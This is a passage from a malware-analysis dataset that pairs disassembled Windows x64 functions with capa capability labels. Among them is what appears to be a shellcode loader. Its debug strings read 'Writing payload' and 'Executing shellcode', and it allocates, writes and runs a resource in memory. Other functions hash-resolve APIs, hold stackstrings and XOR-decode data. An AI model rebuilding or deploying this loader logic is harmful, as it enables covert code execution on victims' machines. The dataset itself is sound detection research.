joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14171d058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14171d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14171d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14171d06f
add dl, dl
jne 0x14171d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14171d0f6
xor eax, eax
add dl, dl
jne 0x14171d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14171d1ad
add dl, dl
jne 0x14171d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14171d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14171d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14171d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14171d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14171d07e
mov eax, 1
add dl, dl
jne 0x14171d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14171d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14171d0fb
sub eax, ebx
mov ebx, 1
jne 0x14171d14c
mov ecx, 1
add dl, dl
jne 0x14171d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14171d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14171d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14171d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14171d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14171d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14171d15d
cmp eax, 0x7d00
jae 0x14171d19b
cmp eax, 0x500
jb 0x14171d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14171d07e
cmp eax, 0x7f
ja 0x14171d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14171d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14171d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14171d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140016a80
Capabilities:
Accept command line arguments

Disassembly:
mov r11, rsp
push rbp
push rdi
push r15
lea rbp, [r11 - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x14001a008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov qword [r11 + 8], rbx
or ecx, 0xffffffff
mov qword [r11 + 0x18], r14
mov edi, 1
call qword [sym.imp.USER32.dll_AllowSetForegroundWindow]
lea rdx, str.en_US.utf8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x49]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rcx, str.packager.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
test rax, rax
jne 0x140016c0a
lea rcx, [rbp + 0x1f]
call fcn.140016150
xor ebx, ebx
mov qword [rbp + 0x17], 7
lea r8d, [rdi + 0xa]
mov qword [rbp + 0xf], rbx
lea rdx, str._not_found.
mov word [rbp - 1], bx
lea rcx, [rbp - 1]
call fcn.140016660
lea r8d, [rdi + 0xb]
mov qword [rbp - 0x31], rbx
lea rdx, str.packager.dll
mov qword [rbp - 0x29], 7
lea rcx, [rbp - 0x41]
mov word [rbp - 0x41], bx
call fcn.140016660
lea r8, [rbp - 1]
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x21]
call fcn.140016000
mov r8, qword [rbp - 0x29]
cmp r8, 8
jb 0x140016b72
mov rdx, qword [rbp - 0x41]
lea rcx, [rbp - 0x41]
inc r8
call fcn.140016780
mov r8, qword [rbp + 0x17]
mov qword [rbp - 0x31], rbx
mov qword [rbp - 0x29], 7
mov word [rbp - 0x41], bx
cmp r8, 8
jb 0x140016b9c
mov rdx, qword [rbp - 1]
lea rcx, [rbp - 1]
inc r8
call fcn.140016780
cmp qword [rbp + 0x37], 8
lea r8, [rbp + 0x1f]
lea rdx, [rbp - 0x21]
cmovae r8, qword [rbp + 0x1f]
cmp qword [rbp - 9], 8
cmovae rdx, qword [rbp - 0x21]
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r8, qword [rbp - 9]
cmp r8, 8
jb 0x140016bde
mov rdx, qword [rbp - 0x21]
lea rcx, [rbp - 0x21]
inc r8
call fcn.140016780
mov r8, qword [rbp + 0x37]
mov qword [rbp - 0x11], rbx
mov qword [rbp - 9], 7
mov word [rbp - 0x21], bx
cmp r8, 8
jb 0x140016c61
mov rdx, qword [rbp + 0x1f]
lea rcx, [rbp + 0x1f]
inc r8
call fcn.140016780
jmp 0x140016c61
lea rdx, str.start_launcher
mov qword [rsp + 0xd8], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.stop_launcher
mov rcx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [rbp - 0x49]
mov rdx, r15
mov rsi, rax
call rbx
cmp al, dil
jne 0x140016c50
xor ebx, ebx
mov edi, ebx
test rsi, rsi
je 0x140016c50
call rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0xd8]
mov r14, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xd0]
test r15, r15
je 0x140016c7f
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140016df0
add rsp, 0xb0
pop r15
pop rdi
pop rbp
ret
Function at 0x1800011a0
Capabilities:
Extract resource via kernel32 functions
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, str.___Loaded_DLL_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, str.dhcpcsvc.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, qword [0x180005718]
xorps xmm0, xmm0
mov rcx, rsi
mov qword [rsp + 0x48], 0
mov edx, 0x65
mov r8d, 0xa
movdqu xmmword [rsp + 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, edi
mov rsi, rax
test edi, edi
je 0x180001240
mov edx, ebx
lea rcx, [rsp + 0x38]
call fcn.180001510
mov r8, rbx
lea rcx, [rsp + 0x38]
mov rdx, rsi
call fcn.1800013b0
lea rcx, str.___Allocating_buffer_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
sub rsi, rdi
lea rbx, [rsi + 0xfff]
and rbx, 0xfffffffffffff000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x20
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x1800012ab
lea rcx, str.____Failed_to_allocate_memory._n
jmp 0x18000132a
lea rcx, str.___Writing_payload_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, rsi
mov r8, rdi
mov rcx, rax
mov rdx, rbx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001323
cmp qword [rsp + 0x30], rsi
jne 0x180001323
xor r8d, r8d
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, str.___Executing_shellcode_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call rbx
mov edx, 0xffffffff
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x180001330
lea rcx, str.____Failed_to_write_payload_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test rdi, rdi
je 0x18000136d
mov rdx, qword [rsp + 0x48]
mov rax, rdi
sub rdx, rdi
cmp rdx, 0x1000
jb 0x180001365
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001365
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1800016b0
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180001690
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x1400032e8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14d, ecx
call fcn.1400032a4
mov rdx, qword [rax + 0x18]
mov rbp, qword [rdx + 0x20]
mov r11, rbp
mov rcx, r11
call fcn.1400032e0
mov r11, qword [r11]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x140003373
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140003373
lea rdi, [r10 + rcx]
mov ecx, dword [rdi + 0xc]
add rcx, r10
call fcn.1400032b0
mov esi, dword [rdi + 0x20]
xor ebx, ebx
add rsi, r10
mov r15d, eax
cmp dword [rdi + 0x18], ebx
jbe 0x140003373
mov ecx, dword [rsi]
add rcx, r10
call fcn.1400032b0
add eax, r15d
cmp r14d, eax
je 0x140003393
inc ebx
add rsi, 4
cmp ebx, dword [rdi + 0x18]
jb 0x140003356
cmp r11, rbp
jne 0x140003313
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
jmp 0x14000337a
Function at 0x14000378c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
mov ecx, 0x7bac0721
call fcn.1400032e8
mov ecx, 0xf477a895
mov r13, rax
call fcn.1400032e8
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rax
mov dword [rbp - 0x50], 0x6c64746e
xor r15d, r15d
mov dword [rbp - 0x4c], 0x6c642e6c
mov word [rbp - 0x48], 0x6c
mov dword [rbp - 0x20], 0x526c7452
mov dword [rbp - 0x1c], 0x6c6c4165
mov dword [rbp - 0x18], 0x7461636f
mov dword [rbp - 0x14], 0x61654865
mov word [rbp - 0x10], 0x70
call fcn.1400033b0
mov rcx, rax
lea rdx, [rbp - 0x20]
call fcn.1400033d0
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x40], 0x6c64746e
mov dword [rbp - 0x3c], 0x6c642e6c
mov word [rbp - 0x38], 0x6c
mov dword [rbp - 0x30], 0x416c7452
mov dword [rbp - 0x2c], 0x636f6c6c
mov dword [rbp - 0x28], 0x48657461
mov dword [rbp - 0x24], 0x706165
call fcn.1400033b0
mov rcx, rax
lea rdx, [rbp - 0x30]
call fcn.1400033d0
mov rcx, qword [rbx]
lea edi, [r15 + 1]
mov r12, qword [rbx + 8]
mov qword [rbp + 0x50], rax
cmp dword [rcx + 0x94], r15d
jbe 0x14000399f
mov esi, dword [rcx + 0x90]
lea edx, [rdi + 0x13]
add rsi, r12
mov rcx, rsi
call r13
test eax, eax
jne 0x14000399f
add rsi, 0x10
mov edi, 1
cmp dword [rsi - 4], r15d
je 0x14000399f
mov ecx, dword [rsi - 4]
mov rdx, qword [rbx + 0x38]
add rcx, r12
call qword [rbx + 0x20]
mov r14, rax
test rax, rax
je 0x14000399c
mov ecx, dword [rbx + 0x18]
mov r15, qword [rbx + 0x10]
inc ecx
movsxd rdi, ecx
shl rdi, 3
call qword [rbp + 0x40]
mov rcx, rax
test r15, r15
je 0x1400038e2
mov r9, rdi
mov r8, r15
xor edx, edx
call qword [rbp + 0x48]
jmp 0x1400038ed
mov r8, rdi
mov edx, 8
call qword [rbp + 0x50]
mov rcx, rax
test rax, rax
je 0x14000398e
mov qword [rbx + 0x10], rax
movsxd rax, dword [rbx + 0x18]
mov qword [rcx + rax*8], r14
inc dword [rbx + 0x18]
mov eax, dword [rsi - 0x10]
test eax, eax
jne 0x140003911
mov eax, dword [rsi]
mov r15d, eax
mov edi, 1
add r15, r12
mov rax, qword [r15]
test rax, rax
je 0x140003963
mov edi, dword [rsi]
add rdi, r12
mov r8, qword [rbx + 0x38]
mov rcx, r14
test rax, rax
jns 0x14000393b
movzx edx, word [r15]
jmp 0x140003945
mov rdx, qword [r15]
add rdx, 2
add rdx, r12
call qword [rbx + 0x28]
mov qword [rdi], rax
test rax, rax
je 0x140003980
add r15, 8
add rdi, 8
mov rax, qword [r15]
test rax, rax
jne 0x140003929
lea edi, [rax + 1]
add rsi, 0x14
mov edx, 0x14
lea rcx, [rsi - 0x10]
call r13
xor r15d, r15d
test eax, eax
je 0x140003892
jmp 0x14000399f
mov rdx, qword [rbx + 0x38]
xor edi, edi
mov rcx, r14
call qword [rbx + 0x30]
jmp 0x14000399f
mov rdx, qword [rbx + 0x38]
mov rcx, r14
call qword [rbx + 0x30]
xor edi, edi
jmp 0x14000399f
mov edi, r15d
mov rbx, qword [rsp + 0xc8]
mov eax, edi
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400039fc
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r15, rcx
mov ecx, 0x4faef192
call fcn.1400032e8
mov ecx, 0x9e5a8833
mov r12, rax
call fcn.1400032e8
mov ecx, 0xf477a895
mov rbx, rax
call fcn.1400032e8
mov ecx, 0xc9f93d32
mov rdi, rax
call fcn.1400032e8
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x20], 0x6c64746e
mov dword [rbp - 0x1c], 0x6c642e6c
mov word [rbp - 0x18], 0x6c
mov dword [rbp - 0x10], 0x416c7452
mov dword [rbp - 0xc], 0x636f6c6c
mov dword [rbp - 8], 0x48657461
mov dword [rbp - 4], 0x706165
call fcn.1400033b0
mov rcx, rax
lea rdx, [rbp - 0x10]
call fcn.1400033d0
mov r13, rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140003b19
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
jne 0x140003b19
mov edx, dword [rsi + 0x50]
mov r9d, 4
mov rcx, qword [rsi + 0x30]
mov r8d, 0x3000
call rbx
mov r14, rax
test rax, rax
jne 0x140003aef
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call rbx
mov r14, rax
test rax, rax
je 0x140003b19
call rdi
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x38]
call r13
xor r13d, r13d
mov rdi, rax
mov rcx, r14
test rax, rax
jne 0x140003b39
xor edx, edx
mov r8d, 0x8000
call r12
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rax + 8], r14
mov r9d, 4
mov qword [rax + 0x18], r13
mov r8d, 0x1000
mov qword [rax + 0x10], r13
lea rax, [0x1400039bc]
mov qword [rdi + 0x20], rax
lea rax, [0x1400039c4]
mov qword [rdi + 0x28], rax
lea rax, [0x1400039cc]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], r13
mov edx, dword [rsi + 0x54]
call rbx
mov r8d, dword [rsi + 0x54]
mov rdx, r15
mov rcx, rax
mov rbx, rax
call qword [rbp + 0x48]
movsxd rax, dword [r15 + 0x3c]
mov r8, rdi
add rax, rbx
mov rdx, rsi
mov qword [rdi], rax
mov rcx, r15
mov qword [rax + 0x30], r14
call fcn.140003400
mov rdx, r14
sub rdx, qword [rsi + 0x30]
je 0x140003bb8
mov rcx, rdi
call fcn.1400036f0
mov rcx, rdi
call fcn.14000378c
test eax, eax
je 0x140003b19
mov rcx, rdi
call fcn.1400034f4
mov rcx, rdi
call fcn.1400036a4
mov rax, qword [rdi]
cmp dword [rax + 0x28], r13d
je 0x140003c00
mov eax, dword [rax + 0x28]
xor r8d, r8d
add rax, r14
mov rcx, r14
lea ebx, [r8 + 1]
mov edx, ebx
call rax
test eax, eax
je 0x140003b19
mov dword [rdi + 0x1c], ebx
mov rax, rdi
jmp 0x140003b1b

Function at 0x140003cd0
Capabilities:
Encode data using xor

Disassembly:
movsxd r8, edx
test edx, edx
jle 0x140003ce3
xor byte [rcx], 0x3a
inc rcx
sub r8, 1
jne 0x140003cd7
mov eax, 1
ret
Function at 0x140133fe4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14013402e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14013402e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14013402e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14013402e
cmp dword [rcx + 0x84], 0xe
jbe 0x14013402e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140134030
xor al, al
add rsp, 0x28
ret

Function at 0x1401344f0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rax, qword gs:[0x30]
mov rbp, r9
mov r14, r8
mov rbx, rdx
mov rsi, rcx
mov r10, qword [rax + 0x60]
mov eax, dword [r10 + 0x118]
shl eax, 0x10
or eax, dword [r10 + 0x11c]
cmp eax, 0x60000
jb 0x140134548
call fcn.1401352e0
add rax, 0x138
jmp 0x140134551
call fcn.140134bc0
add rax, 0x28
mov qword [rax], rbx
mov rax, qword gs:[0x30]
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rax + 0x60]
mov rdi, qword [rbx + 8]
mov eax, dword [rcx + 0x118]
shl eax, 0x10
or eax, dword [rcx + 0x11c]
cmp eax, 0x60000
jb 0x14013458d
call fcn.1401352e0
add rax, 0x128
jmp 0x140134596
call fcn.140134bc0
add rax, 0x18
mov qword [rax], rdi
mov rax, qword [rsi]
mov rdi, qword [rax + 0x38]
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov eax, dword [rcx + 0x118]
shl eax, 0x10
or eax, dword [rcx + 0x11c]
cmp eax, 0x60000
jb 0x1401345d0
call fcn.1401352e0
add rax, 0x130
jmp 0x1401345d9
call fcn.140134bc0
add rax, 0x20
mov qword [rax], rdi
call fcn.140134bc0
mov ecx, dword [rsp + 0x80]
xor edi, edi
mov byte [rsp + 0x38], 1
mov r9, rbx
mov qword [rsp + 0x30], rdi
mov r8, rbp
mov dword [rax + 0x30], ecx
mov rdx, r14
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsi]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call fcn.140136900
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov eax, dword [rcx + 0x118]
shl eax, 0x10
or eax, dword [rcx + 0x11c]
cmp eax, 0x60000
jb 0x140134646
call fcn.1401352e0
add rax, 0x138
jmp 0x14013464f
call fcn.140134bc0
add rax, 0x28
mov rcx, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov qword [rax], rdi
mov eax, 1
mov rdi, qword [rsp + 0x68]
mov dword [rcx], 1
add rsp, 0x40
pop r14
ret

Function at 0x140134680
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbx
sub rsp, 0x60
mov rbx, rcx
mov dword [rax - 0x28], 0
mov qword [rax - 0x20], rcx
mov qword [rax - 0x18], r8
mov rax, qword gs:[0x30]
mov rdx, qword [rax + 0x60]
mov eax, dword [rdx + 0x118]
shl eax, 0x10
or eax, dword [rdx + 0x11c]
cmp eax, 0x60000
jb 0x1401346db
call fcn.1401352e0
mov r8, qword [rax + 0xe0]
jmp 0x1401346e7
call fcn.1401352e0
mov r8, qword [rax + 0xd8]
lea rdx, [rsp + 0x48]
mov ecx, dword [rbx]
call r8
mov dword [rsp + 0x40], 0
jmp 0x1401346fb
mov eax, dword [rsp + 0x40]
add rsp, 0x60
pop rbx
ret
Function at 0x1401366b0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x70
mov rax, qword gs:[0x30]
mov rsi, r9
mov r14, r8
mov rbp, rdx
mov rbx, rcx
mov r10, qword [rax + 0x60]
mov eax, dword [r10 + 0x118]
shl eax, 0x10
or eax, dword [r10 + 0x11c]
cmp eax, 0x60000
jb 0x140136708
call fcn.1401352e0
mov ecx, dword [rax + 0x2c0]
jmp 0x140136710
call fcn.140134bc0
mov ecx, dword [rax + 0x10]
mov rdi, qword [rsp + 0xa0]
test ecx, ecx
jne 0x14013674c
mov eax, dword [rbx]
cmp eax, 0xe06d7363
je 0x14013674c
cmp eax, 0x80000029
jne 0x14013673c
cmp dword [rbx + 0x18], 0xf
jne 0x140136743
cmp qword [rbx + 0x60], 0x19930520
je 0x14013674c
cmp eax, 0x80000026
je 0x14013674c
test byte [rdi], 0x20
jne 0x1401368d7
mov r8d, dword [rbx + 4]
test r8b, 0x66
je 0x140136810
movsxd rax, dword [rdi + 8]
test eax, eax
je 0x1401368d7
mov rdx, rax
lea r9, [0x140000000]
add rdx, qword [rsi + 8]
movzx ecx, byte [rdx]
and ecx, 0xf
movsx rax, byte [rcx + r9 + 0x13a360]
movzx ecx, byte [rcx + r9 + 0x13a370]
sub rdx, rax
mov eax, dword [rdx - 4]
shr eax, cl
test eax, eax
je 0x1401368d7
cmp dword [rsp + 0xa8], 0
jne 0x1401368d7
test r8b, 0x20
je 0x1401367fd
mov eax, dword [rbx]
cmp eax, 0x80000026
jne 0x1401367de
mov r8, qword [rsi + 0x20]
mov rdx, rsi
mov rcx, rdi
call fcn.1401378a0
mov r9d, eax
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
call fcn.140137010
jmp 0x1401368d7
cmp eax, 0x80000029
jne 0x1401367fd
mov r9d, dword [rbx + 0x38]
mov r8, rdi
mov rcx, qword [rbx + 0x28]
mov rdx, rsi
call fcn.140137010
jmp 0x1401368d7
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
call fcn.140134860
jmp 0x1401368d7
mov r8, qword [rsi + 8]
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.140136970
cmp dword [rsp + 0x40], 0
jne 0x140136831
test byte [rdi], 0x40
je 0x1401368d7
cmp dword [rbx], 0xe06d7363
jne 0x14013689d
cmp dword [rbx + 0x18], 3
jb 0x14013689d
cmp dword [rbx + 0x20], 0x19930522
jbe 0x14013689d
mov rax, qword [rbx + 0x30]
cmp dword [rax + 8], 0
je 0x14013689d
call fcn.140135090
mov rcx, qword [rbx + 0x30]
movsxd rdx, dword [rcx + 8]
add rax, rdx
je 0x14013689d
movzx ecx, byte [rsp + 0xb8]
mov r9, rsi
mov dword [rsp + 0x38], ecx
mov r8, r14
mov rcx, qword [rsp + 0xb0]
mov rdx, rbp
mov qword [rsp + 0x30], rcx
mov ecx, dword [rsp + 0xa8]
mov dword [rsp + 0x28], ecx
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call rax
jmp 0x1401368dc
mov rax, qword [rsp + 0xb0]
mov r9, rsi
mov qword [rsp + 0x38], rax
mov r8, r14
mov eax, dword [rsp + 0xa8]
mov rdx, rbp
mov dword [rsp + 0x30], eax
mov rcx, rbx
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], rdi
call fcn.140135910
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140137c60
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x14013e080]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140137c9c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.140133e8c
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140137d58
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x140137dbe
test ebx, ebx
jne 0x140137dbe
lea ecx, [rax + 2]
call fcn.140133e8c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140138f60
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret

Function at 0x140138210
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140138272
